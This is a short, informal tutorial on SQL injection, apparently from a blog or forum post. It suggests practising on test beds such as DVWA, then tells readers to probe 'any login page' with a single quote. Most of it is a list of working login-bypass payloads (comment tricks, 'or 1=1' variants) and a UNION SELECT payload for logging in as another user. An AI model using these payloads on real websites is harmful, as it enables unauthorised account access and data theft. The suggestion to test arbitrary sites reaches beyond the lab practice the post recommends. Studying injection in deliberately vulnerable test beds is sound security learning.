Sql injection!!

Hello friends , here i will show u the sql injection --- how we perform and where it can be ---what will be code .

Here i will give answers to all question.

step1 ::
      first we use various test beds like "DVWA " or "MUTALIDATE" so that we can learn how it is performed.

      so go and install any one test bed(recommended)
     
      Note:: Check wheather vulnerability exists in web site or not.
     
            To check that use " ' " <only ' this > in any login page.
            If you find some error then it means vulnerability exists and you can perform sql injection.

step 2::

      here i am giving the list of various code that will help in bypassing and getting information from web site.


Bypassing Login Screens (SMO+)

SQL Injection 101, Login tricks
admin' --
admin' #
admin'/*
' or 1=1--
' or 1=1#
' or 1=1/*
') or '1'='1--
') or ('1'='1--
....
Login as different user (SM*)
' UNION SELECT 1, 'anotheruser', 'doesnt matter', 1--
*Old versions of MySQL doesn't support union queries